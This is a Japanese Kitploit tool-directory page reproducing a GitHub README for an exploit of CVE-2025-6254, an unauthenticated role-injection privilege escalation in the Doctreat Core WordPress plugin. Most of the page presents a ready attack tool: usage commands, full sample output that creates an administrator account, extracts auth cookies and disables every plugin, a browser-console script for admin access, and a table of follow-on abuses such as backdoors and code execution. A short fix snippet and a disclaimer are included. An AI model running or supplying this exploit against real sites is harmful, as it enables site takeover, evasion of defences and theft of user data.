Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-6254 — CVE-2025-6254 — Doctreat Core <= 1.6.8 — 認証されていない権限昇格 | Kitploit
ツール/GitHubGitHub/yucaerin/cve-2025-6254
特権昇格ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトウェブセキュリティCTFペネトレーションテスト学習と教育レッドチーミング
GitHub
22ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
yucaerin/cve-2025-6254

CVE-2025-6254

CVE-2025-6254 — Doctreat Core <= 1.6.8 — 認証されていない権限昇格

リポジトリを見る

CVE-2025-6254 — Doctreat Core <= 1.6.8 — ロールインジェクションによる認証不要特権昇格

🔥 脆弱性の概要

WordPressプラグイン Doctreat Core バージョン <= 1.6.8 には、認証なし特権昇格 の脆弱性があります。この重大な欠陥により、認証されていない攻撃者 が、プラグインの登録AJAXエンドポイントを通じて直接 管理者 アカウントを作成できます。

脆弱性は、hooks/hooks.php の doctreat_process_registration() 関数に起因します。この関数は、ユーザーが送信したPOSTデータから直接 user_type パラメータを受け入れ、適切な認可や許可リスト検証を行わずに、それを role パラメータとして wp_update_user() に渡します。プラグインは esc_sql()(ロールを検証しない)を適用するだけであり、公開登録においてそのロールが 安全 かどうかを決してチェックしません。

画期的な発見: Doctreat が使用する nonce(scripts_vars.ajax_nonce)は、アクティブな Doctreat テーマの公開ページすべてで公開されています。通常、ユーザーが "doctors"、"hospitals"、または "regular_users" として登録するかどうかを制御する user_type パラメータは、POST で user_type=administrator に上書き可能であり、この値が WordPress の role パラメータとして直接渡されます。

🔍 影響を受けるプラグイン

  • プラグイン名: Doctreat Core
  • 影響を受けるバージョン: <= 1.6.8
  • 脆弱性タイプ: 認証なし特権昇格(ロールインジェクションによる)
  • CVE ID: CVE-2025-6254
  • CVSSスコア: 9.8 (Critical)
  • CWE: CWE-269 — 不適切な特権管理
  • 影響: 完全なサイト乗っ取り — 管理者アカウント作成

🧨 攻撃者ができること

🧪 エクスプロイトの特徴

  • 🔓 認証不要
  • 📝 登録AJAXエンドポイント経由で動作
  • 🎯 AJAXエンドポイントをターゲット /wp-admin/admin-ajax.php?action=doctreat_process_registration
  • 🧠 ロールインジェクション — 通常の登録フィールドと一緒に user_type=administrator を送信
  • 🌐 自動nonce抽出 — Doctreatテーマの公開ページから ajax_nonce をスクレイピング
  • 🔐 nonce検証をバイパス — テーマスクリプトによって公開された正規のnonceを使用
  • 🔗 http/httpsを自動検出 — プロトコル指定不要
  • 🔒 安全でないSSLサポート — 自己署名/無効な証明書でも動作
  • 🎛️ 全プラグイン自動無効化 — 3つの方法: plugins.php一括操作、REST API、admin-ajax.php
  • 🍪 Cookie抽出 — ブラウザ/curl用のWordPress認証Cookieを出力
  • 🧠 JavaScriptコンソールスクリプト — ブラウザDevToolsに貼り付けると即座に管理者アクセス

🧠 脆弱なコード

root@kitploit:~
// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
    'ID' => esc_sql( $user_identity ),
    'role' => esc_sql( $user_type ),  // ← user_type from $_POST via extract($_POST)
    'user_status' => 0
) );
root@kitploit:~
// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );

注: デフォルトの確認設定($verify_userが空または'remove')のターゲットでは、ユーザーは自動的に確認され、即座に管理者アクセスを得ます。電子メール確認または管理者承認が有効なターゲットでは、追加の確認手順が必要です。

🚀 使用方法

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080

既存の認証情報でログイン(Cookieを取得)

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com username password

出力例(全文)

root@kitploit:~
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator

[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR

[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}

[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access

[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!

JavaScriptコンソールスクリプト

エクスプロイト実行後、生成されたJavaScriptをコピーしてブラウザのDevToolsコンソール(F12)に貼り付けます:

root@kitploit:~
(function() {
    'use strict';
    console.log('[*] Starting WordPress admin access...');
    // ... cookies set automatically ...
    window.location.href = 'https://target.com/wp-admin/';
})();

必要条件

  • Python 3.6+
  • requests ライブラリ (pip install requests)
  • ターゲットは以下を満たす必要があります:
    • Doctreatテーマがアクティブ(nonce抽出用)
    • Doctreat Coreプラグイン <= 1.6.8 が有効
    • ユーザー登録が有効

🛠 修正推奨事項

root@kitploit:~
// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
    $user_type = 'regular_users';  // ← Reject ALL dangerous roles
}
  • 登録時に厳格なロール許可リストを実装
  • 特権ロールに対して current_user_can('create_users') ケイパビリティチェックを追加
  • wp_update_user() に渡す前に user_type を検証
  • 公開登録からロール割り当てを完全に削除することを検討

🧠 研究者

  • クレジット: Friderika Baranyai (Foxyyy)

📚 参考文献

  • Wordfence Advisory

🔒 免責事項

この情報は、教育目的および許可されたペネトレーションテスト目的でのみ提供されます。コンピュータシステムへの不正な悪用は違法であり、非倫理的です。所有していないターゲットをテストする前に、必ず明示的な書面による許可を得てください。

ツールをダウンロード
能力影響
🔑 ログインなしで管理者アカウント作成完全なサイト乗っ取り
🎛️ 全セキュリティプラグインの自動無効化防御回避
💉 プラグイン/テーマPHPファイルの編集リモートコード実行
🕳️ 隠しバックドアのインストール永続的アクセス
👥 全ユーザーデータの閲覧プライバシー侵害